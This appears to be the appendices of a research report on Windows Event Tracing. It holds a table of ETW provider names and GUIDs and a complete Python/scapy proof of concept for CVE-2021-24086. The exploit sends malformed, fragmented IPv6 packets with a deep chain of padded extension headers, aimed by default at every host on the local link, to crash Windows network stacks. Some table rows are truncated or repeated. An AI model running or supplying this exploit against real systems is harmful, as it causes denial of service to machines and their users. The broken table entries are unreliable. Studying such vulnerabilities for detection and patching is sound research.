Appendices

Appendices

A ETW providers

Provider	GUID
.NET Common Language Runtime	{E13C0D23−CCBC−4E12−931B−D9CC2EEE27E4}
ACPI Driver Trace Provider	{DAB01D4D−2D48−477D−B1C3−DAAD0CE6F06B}
Active Directory Domain Services: SAM	{8E598056−8993−11D2−819E−0000F875A064}
Active Directory: Kerberos Client	{BBA3ADD2−C229−4CDB−AE2B−57EB6966B0C4}
Active Directory: NetLogon	{F33959B4−DBEC−11D2−895B−00C04F79AB69}
ADODB.1	{04C8A86F−3369−12F8−4769−24E484A9E725}
ADOMD.1	{7EA56435−3F2F−3F63−A829−F0B35B5CAD41}
Application Popup	{47BFA2B7−BD54−4FAC−B70B−29021084CA8F}
Application−Addon−Event−Provider	{A83FA99F−C356−4DED−9FD6−5A5EB8546D68}
ATA Port Driver Tracing Provider	{D08BD885−501E−489A−BAC6−B7D24BFE6BBF}
AuthFw NetShell Plugin	{935F4AE6−845D−41C6−97FA−380DAD429B72}
BCP.1	{24722B88−DF97−4FF6−E395−DB533AC42A1E}
BFE Trace Provider	{106B464A−8043−46B1−8CB8−E92A0CD7A560}
BITS Service Trace	{4A8AAA94−CFC4−46A7−8E4E−17BC45608F0A}
Certificate Services Client CredentialRoaming Trace	{EF4109DC−68FC−45AF−B329−CA2825437209}
Certificate Services Client Trace	{F01B7774−7ED7−401E−8088−B576793D7841}
Circular Kernel Session Provider	{54DEA73A−ED1F−42A4−AF71−3E63D056F174}
Classpnp Driver Tracing Provider	{FA8DE7C4−ACDE−4443−9994−C4E2359A9EDB}
Critical Section Trace Provider	{3AC66736−CC59−4CFF−8115−8DF50E39816B}
DBNETLIB.1	{BD568F20−FCCD−B948−054E−DB3421115D61}
Deduplication Tracing Provider	{5EBB59D1−4739−4E45−872D−B8703956D84B}
Disk Class Driver Tracing Provider	{945186BF−3DD6−4F3F−9C8E−9EDD3FC9D558}
Downlevel IPsec API	{94335EB3−79EA−44D5−8EA9−306F49B3A041}
Downlevel IPsec NetShell Plugin	{E4FF10D8−8A88−4FC6−82C8−8C23E9462FE5}
Downlevel IPsec Policy Store	{94335EB3−79EA−44D5−8EA9−306F49B3A070}
Downlevel IPsec Service	{94335EB3−79EA−44D5−8EA9−306F49B3A040}
EA IME API	{E2A24A32−00DC−4025−9689−C108C01991C5}
Error Instrument	{CD7CF0D0−02CC−4872−9B65−0DBA0A90EFE8}
FD Core Trace	{480217A9−F824−4BD4−BBE8−F371CAAF9A0D}
FD Publication Trace	{649E3596−2620−4D58−A01F−17AEFE8185DB}
FD SSDP Trace	{DB1D0418−105A−4C77−9A25−8F96A19716A4}
FD WNet Trace	{8B20D3E4−581F−4A27−8109−DF01643A7A93}
FD WSDAPI Trace	{7E2DBFC7−41E8−4987−BCA7−76CADFAD765F}
FDPHost Service Trace	{F1C521CA−DA82−4D79−9EE4−D7A375723B68}
File Kernel Trace; Operation Set 1	{D75D8303−6C21−4BDE−9C98−ECC6320F9291}
File Kernel Trace; Operation Set 2	{058DD951−7604−414D−A5D6−A56D35367A46}
File Kernel Trace; Optional Data	{7DA1385C−F8F5−414D−B9D0−02FCA090F1EC}
File Kernel Trace; Volume To Log	{127D46AF−4AD3−489F−9165−F00BA64D5467}
FWPKCLNT Trace Provider	{AD33FA19−F2D2−46D1−8F4C−E3C3087E45AD}
FWPUCLNT Trace Provider	{5A1600D2−68E5−4DE7−BCF4−1C2D215FE0FE}
Heap Trace Provider	{222962AB−6180−4B88−A825−346B75F2A24A}
IKEEXT Trace Provider	{106B464A−8043−46B1−8CB8−E92A0CD7A560}
IMAPI1 Shim	{1FF10429−99AE−45BB−8A67−C9E945B9FB6C}
IMAPI2 Concatenate Stream	{0E85A5A5−4D5C−44B7−8BDA−5B7AB54F7E9D}
IMAPI2 Disc Master	{0E85A5A5−4D5C−44B7−8BDA−5B7AB54F7E91}
IMAPI2 Disc Recorder	{0E85A5A5−4D5C−44B7−8BDA−5B7AB54F7E93}
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IMAPI2 dll	{0E85A5A5−4D5C−44B7−8BDA−5B7AB54F7E90}
IMAPI2 Interleave Stream	{0E85A5A5−4D5C−44B7−8BDA−5B7AB54F7E9E}
IMAPI2 Media Eraser	{0E85A5A5−4D5C−44B7−8BDA−5B7AB54F7E97}
IMAPI2 MSF	{0E85A5A5−4D5C−44B7−8BDA−5B7AB54F7E9F}
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IMAPI2 Pseudo−Random Stream	{0E85A5A5−4D5C−44B7−8BDA−5B7AB54F7E9C}
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IMAPI2 Raw Image Writer	{07E397EC−C240−4ED7−8A2A−B9FF0FE5D581}
IMAPI2 Standard Data Writer	{0E85A5A5−4D5C−44B7−8BDA−5B7AB54F7E98}
IMAPI2 Track−at−Once CD Writer	{0E85A5A5−4D5C−44B7−8BDA−5B7AB54F7E99}
IMAPI2 Utilities	{0E85A5A5−4D5C−44B7−8BDA−5B7AB54F7E94}
IMAPI2 Write Engine	{0E85A5A5−4D5C−44B7−8BDA−5B7AB54F7E96}
IMAPI2 Zero Stream	{0E85A5A5−4D5C−44B7−8BDA−5B7AB54F7E9B}
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Intel−iaLPSS−I2C	{D4AEAC44−AD44−456E−9C90−33F8CDCED6AF}
Intel−iaLPSS2−GPIO2	{63848CFF−3EC7−4DDF−8072−5F95E8C8EB98}
Intel−iaLPSS2−I2C	{C2F86198−03CA−4771−8D4C−CE6E15CBCA56}
IPMI Driver Trace	{D5C6A3E9−FA9C−434E−9653−165B4FC869E4}
IPMI Provider Trace	{651D672B−E11F−41B7−ADD3−C2F6A4023672}
KMDFv1 Trace Provider	{544D4C9D−942C−46D5−BF50−DF5CD9524A50}
Layer2 Security HC Diagnostics Trace	{2E8D9EC5−A712−48C4−8CE0−631EB0C1CD65}
Local Security Authority (LSA)	{CC85922F−DB41−11D2−9244−006008269001}
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Microsoft Edge Etw	{3A5F2396−5C8F−4F1F−9B67−6CCA6C990E61}
Microsoft−Antimalware−AMFilter	{CFEB0608−330E−4410−B00D−56D8DA9986E6}
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Microsoft−Antimalware−Service                 {751EF305−6C6E−4FED−B847−02EF79D26AEF}
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Microsoft−Antimalware−UacScan                 {D37E7910−79C8−57C4−DA77−52BB646364CD}
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Microsoft−Office−Word3                        {A1B69D49−2195−4F59−9D33−BDF30C0FE473}
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Microsoft−User Experience Virtualization−Agent Driver {DE29CF61−5EE6−43FF−9AAC−959
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A. ETW PROVIDERS

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A. ETW PROVIDERS

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A. ETW PROVIDERS

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Microsoft-Windows-Runtime-Networking      {6EB875EB-8F4A-4800-A00B-E484C97D7561}
Microsoft-Windows-Runtime-Networking-BackgroundTransfer {B9D5B35D-BBB8-4625-9450-
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A. ETW PROVIDERS

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MUI Resource Trace	{D3DE60B2−A663−45D5−9826−A0A5949D2CB0}
Native WIFI Filter Driver Trace	{D905AC1C−65E7−4242−99EA−FE66A8355DF8}
Native WIFI MSM Trace	{D905AC1D−65E7−4242−99EA−FE66A8355DF8}
NetJoin	{9741FD4E−3757−479F−A3C6−FC49F6D5EDD0}
Network Location Awareness Trace	{1AC55562−D4FF−4BC5−8EF3−A18E07C4668E}
Network Profile Manager	{D9131565−E1DD−4C9E−A728−951999C2ADB5}
NisDrvWFP Provider	{49D6AD7B−52C4−4F79−A164−4DCD908391E4}
Ntfs	{DD70BC80−EF44−421B−8AC3−CD31DA613A4E}
Ntfs_NtfsLog	{B2FC00C4−2941−4D11−983B−B16E8AA4E25D}
NTLM Security Protocol	{C92CF544−91B3−4DC0−8E11−C580339A0BF8}
ODBC.1	{F34765F6−A1BE−4B9D−1400−B8A12921F704}
ODBCBCP.1	{932B59F1−90C2−D8BA−0956−3975C344AE2B}
OfficeAirSpace	{F562BB8E−422D−4B5C−B20E−90D710F7D11C}
OfficeLoggingLiblet	{F50D9315−E17E−43C1−8370−3EDF6CC057BE}
OLEDB.1	{0DD082C4−66F2−271F−74BA−2BF1F9F65C66}
OpenSSH	{C4B57D35−0636−4BC3−A262−370F249F9802}
PNPX AssocDB Trace	{7311AD03−18D6−45AC−9B08−B020BDD6A590}
Portable Device Connectivity API Trace	{02FE721A−0725−469E−A26D−37B3C09FAAC1}
PowerShellCore	{F90714A8−5509−434A−BF6D−B1624C8A19A2}
PrintFilterPipelineSvc_ObjectsGuid	{AEFE45F4−8548−42B4−B1C8−25673B07AD8B}
Refsv1WppTrace	{6D2FD9C5−8BD8−4A5D−8AA8−01E5C3B2AE23}
RefsWppTrace	{740F3C34−57DF−4BAD−8EEA−72AC69AD5DF5}
RmClient_RestartManager	{0888E5EF−9B98−4695−979D−E92CE4247224}
RowsetHelper.1	{74A75B02−36D8−EDE6−D10E−95B691503408}
RSS Platform Backgroundsync Perf Trace	{CA1CF55C−9E49−4AD3−8038−39CB6F66AF11}
RSS Platform Backgroundsync Trace	{F59D1D86−CC03−4736−BC9C−4C7936871B3D}
RSS Platform Perf Trace	{2B240425−3141−43EE−931F−EC9F997C7D7E}
RSS Platform Trace	{8C50FA6E−394E−4B47−B6D1−A880A5F225A2}
SBP2 Port Driver Tracing Provider	{6710597F−7319−4AAE−9B85−C8D87136A56B}
Schannel	{1F678132−5938−4686−9FDC−C8FF68F15C85}
SD Bus Trace	{3B9E3DA4−70B8−46D3−9EF2−3DDF128BDED8}
Security: Kerberos Authentication	{6B510852−3583−4E2D−AFFE−A67F9F223438}
Security: NTLM Authentication	{5BBB6C18−AA45−49B1−A15F−085F7ED0AA90}
Security: SChannel	{37D2C3CD−C5D4−4587−8531−4696C44244C8}
Security: TSPkg	{6165F3E2−AE38−45D4−9B23−6B4818758BD9}
Security: WDigest	{FB6A424F−B5D6−4329−B9D5−A975B3A93EAD}
Sensor ClassExtension Trace	{A1E89BB0−EF73−4980−8C99−DD15F7271D7E}
Service Control Manager	{555908D1−A6D7−4695−8E1E−26931D2012F4}
Service Control Manager Trace	{EBCCA1C2−AB46−4A1D−8C2A−906C2FF25F39}
SQLOLEDB.1	{C5BFFE2E−9D87−D568−A09E−08FC83D0C7C2}
SQLSRV32.1	{4B647745−F438−0A42−F870−5DBD29949C99}
TCPIP Service Trace	{EB004A05−9B1A−11D4−9123−0050047759BC}
TerminalServer−MediaFoundationPlugin	{4199EE71−D55D−47D7−9F57−34A1D5B2C904}
Thread Pool	{C861D0E2−A2C1−4D36−9F9C−970BAB943A12}
TPM	{1B6B0772−251B−4D42−917D−FACA166BC059}
TS Client ActiveX Control Trace	{DAA6CAF5−6678−43F8−A6FE−B40EE096E06E}
TS Client Trace	{0C51B20C−F755−48A8−8123−BF6DA2ADC727}
TS Rdp Init Trace	{C127C1A8−6CEB−11DA−8BDE−F66BAD1E3F3A}
TS RDP Shell Trace	{BFA655DC−6C51−11DA−8BDE−F66BAD1E3F3A}
TS Rdp Sound End Point Trace	{5A966D1C−6B48−11DA−8BDE−F66BAD1E3F3A}
UMB Trace	{96AB095A−9519−4F5C−81EE−C510B0A45463}
UmBus Driver Trace	{F9BE9C98−10DB−4318−BB61−CB0DDEA08BF7}
UMDF − Driver Manager Trace	{485E7DEA−0A80−11D8−AD15−505054503030}
UMDF − Framework Trace	{485E7DE9−0A80−11D8−AD15−505054503030}
UMDF − Host Process Trace	{485E7DF0−0A80−11D8−AD15−505054503030}
UMDF − Lpc Driver Trace	{485E7DED−0A80−11D8−AD15−505054503030}
UMDF − Lpc Trace	{485E7DEF−0A80−11D8−AD15−505054503030}
UMDF − Platform Library Trace	{485E7DE8−0A80−11D8−AD15−505054503030}
UMDF − Reflector Trace	{485E7DEE−0A80−11D8−AD15−505054503030}
UMDF − Test Trace	{485E7DEB−0A80−11D8−AD15−505054503030}
UMDF − WDF Core	{485E7DE9−0A80−11D8−AD15−505054503030}
UMPass Driver Trace	{FF9E2BDD−0E24−437C−84BE−7CFCAE635808}
USB Storage Driver Tracing Provider	{72FB9358−A9B3−41E0−AE41−E8DECA41E3A8}
User−mode PnP Manager Trace	{A676B545−4CFB−4306−A067−502D9A0F2220}
User32	{B0AA8734−56F7−41CC−B2F4−DE228E98B946}
Volsnap	{CB017CD2−1F37−4E65−82BC−3E91F6A37559}
VSS tracing provider	{9138500E−3648−4EDB−AA4C−859E9F7B7C38}
Windows Connect Now	{C100BECE−D33A−4A4B−BF23−BBEF4663D017}
Windows Defender Firewall API	{28C9F48F−D244−45A8−842F−DC9FBC9B6E92}
Windows Defender Firewall API − GP	{0EFF663F−8B6E−4E6D−8182−087A8EAA29CB}
Windows Defender Firewall Driver	{D5E09122−D0B2−4235−ADC1−C89FAAAF1069}
Windows Defender Firewall NetShell Plugin	{28C9F48F−D244−45A8−842F−DC9FBC9B6E94}
Windows Defender Firewall Service	{5EEFEBDB−E90C−423A−8ABF−0241E7C5B87D}
Windows Kernel Trace	{9E814AAD−3204−11D2−9A82−006008A86939}
Windows Media Player Trace	{A9C1A3B7−54F3−4724−ADCE−58BC03E3BC78}
Windows NetworkItemFactory Trace	{D2A60D61−0F87−4673−A86C−9C461457FE27}
Windows Notification Facility Provider	{42695762−EA50−497A−9068−5CBBB35E0B95}
Windows Remote Management Trace	{04C6E16D−B99F−4A3A−9B3E−B8325BBC781E}
Windows Wininit Trace	{C2BA06E2−F7CE−44AA−9E7E−62652CDEFE97}
Windows Winlogon Trace	{D451642C−63A6−11D7−9720−00B0D03E0347}
Windows−ApplicationModel−Store−SDK	{FF79A477−C45F−4A52−8AE0−2B324346D4E4}
WINSATAPI_ETW_PROVIDER	{617853D6−728B−4B59−8A78−C3A9A5EADE92}
Wireless Client Trace	{8A3CF0B5−E0BC−450B−AE4B−61728FFA1D58}

WLAN AutoConfig Trace	{0C5A3172−2248−44FD−B9A6−8389CB1DC56A}
WLAN Diagnostics Trace	{637A0F36−DFF5−4B2F−83DD−B106C1C725E2}
WLAN Dialog Trace	{520319A9−B932−4EC7−943C−61E560939101}
WLAN Extensibility Trace	{E2EB5B52−08B1−4391−B670−F58317376247}
WLAN HC Diagnostics Trace	{6DA4DDCA−0901−4BAE−9AD4−7E6030BAB531}
WMI_Tracing	{1FF6B227−2CA7−40F9−9A66−980EADAA602E}
WMI_Tracing_Client_Operations	{8E6B6962−AB54−4335−8229−3255B919DD0E}
WMP Network Sharing API	{8ED60A3A−8C12−49C5−A518−FDF451BC10FC}
WMP Network Sharing Service	{A7EB57F6−145E−4F18−BD75−DBBF6F7E23A7}
WMP Network Sharing Taskbar	{D804A67F−4C25−43C1−896F−89FF78B3A911}
WPD API Trace	{C3C5D8AF−2FD5−4500−A8E7−379C2D0BBE2E}
WPD Bluetooth MTP Emumerator Driver Trace	{4B6EFB94−30EA−49A7−BB29−E9ED9DCE67DA}
WPD BusEnumService Trace	{0381564E−D5CB−4E48−AB35−BE24389B0F59}
WPD ClassExtension Trace	{A0A352C5−B8EC−41E9−9936−8452C1C0A6CF}
WPD ClassInstaller Trace	{45350D79−4497−42F1−BD1B−83587575B91A}
WPD Composite Driver Trace	{72891EE8−C088−4331−9745−5BF4AA7B344D}
WPD FSDriver Trace	{1311095B−B9FF−497A−8560−2F43CA5438E4}
WPD ShellExtension Trace	{A42C7BD1−5AF3−4B32−9BC6−B85EB31D3F4A}
WPD ShellServiceObject Trace	{1AB5AC29−037F−43A1−9484−78C9DB61F869}
WPD Types Trace	{58E8F67D−29E9−456C−B23D−C6489E341BB0}
WPD WiaCompat Trace	{B809F4FF−3023−473C−971B−AB594429EA57}
WPD WMDMCompat Trace	{17ABF473−982C−4D0E−B502−3A59D89E71DE}
WSAT_TraceProvider	{7F3FE630−462B−47C5−AB07−67CA84934ABD}
Wudfx02000_KmdfTraceGuid	{485E7DE9−0A80−11D8−AD15−505054503030}
XWizard Framework	{777BA8FF−2498−4875−933A−3067DE883070}

B PoC for CVE-2021-24086

```python
from scapy.all import *
import argparse

def custom_fragment6(target, frag_id, bytes, nh, frag_size = 1008):
    assert (frag_size % 8) == 0
    rest = bytes
    offset = 0
    frags = []

    while len(rest) > 0:
        chunk = rest[: frag_size]
        rest = rest[len(chunk): ]
        last_pkt = len(rest) == 0

        # 0 -> No more fragments
        # 1 -> More fragments
        m = 0 if last_pkt else 1
        assert offset < 8191
        pkt = Ether() \
            / IPv6(dst = target) \
            / IPv6ExtHdrFragment(m = m, nh = nh, id = frag_id, offset =
              offset) \
            / chunk

        offset += (len(chunk) // 8)
        frags.append(pkt)
    return frags

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('--target', default = 'ff02::1')
```

```python
31        parser.add_argument('--iface', default = 'eth1')

32
33        args = parser.parse_args()

34
35        first_fragment_id = random.randint(0, 0xffffffff)
36        second_fragment_id = random.randint(0, 0xffffffff)

37
38        packet1 = IPv6ExtHdrDestOpt(options = [
39            PadN(optdata=('a'*0xff)),
40            PadN(optdata=('a'*0xff)),
41            PadN(optdata=('a'*0xff)),
42            PadN(optdata=('a'*0xff)),
43            PadN(optdata=('a'*0xff)),
44            PadN(optdata=('a'*0xff)),
45            PadN(optdata=('a'*0xff)),
46        ])

47
48        for i in range(35):
49            packet1 /= IPv6ExtHdrDestOpt(options = [
50                PadN(optdata=('a'*0xff)),
51                PadN(optdata=('a'*0xff)),
52                PadN(optdata=('a'*0xff)),
53                PadN(optdata=('a'*0xff)),
54                PadN(optdata=('a'*0xff)),
55                PadN(optdata=('a'*0xff)),
56                PadN(optdata=('a'*0xff)),
57            ])

58
59        packet1 /= IPv6ExtHdrDestOpt(options = [
60            PadN(optdata=('a'*0xff)),
61            PadN(optdata=('a'*0xff)),
62        ])
63        packet1 /= IPv6ExtHdrFragment(
64            id = second_fragment_id, m = 1,
65            nh = 17, offset = 0
66        ) \
67        / UDP(dport = 31337, sport = 31337, chksum=0x7e7f)

68
69        packet1 = bytes(packet1)

70
71        frags = custom_fragment6(args.target, first_fragment_id, packet1,
    60)

72
73        print(f'Sending {len(frags)} fragments with a total size of
         ↪  0x{hex(len(packet1))}')
74        sendp(frags, iface= args.iface)

75
76        packet2 = Ether() / IPv6(dst = args.target) / IPv6ExtHdrFragment(id
         ↪  = second_fragment_id, m = 0, offset = 1, nh = 17) /
         ↪  'fritzboger' # dummy data
```

```
77
78        sendp(packet2, iface = args.iface)
79
80        return
81
82  if __name__ == '__main__':
83        main()
```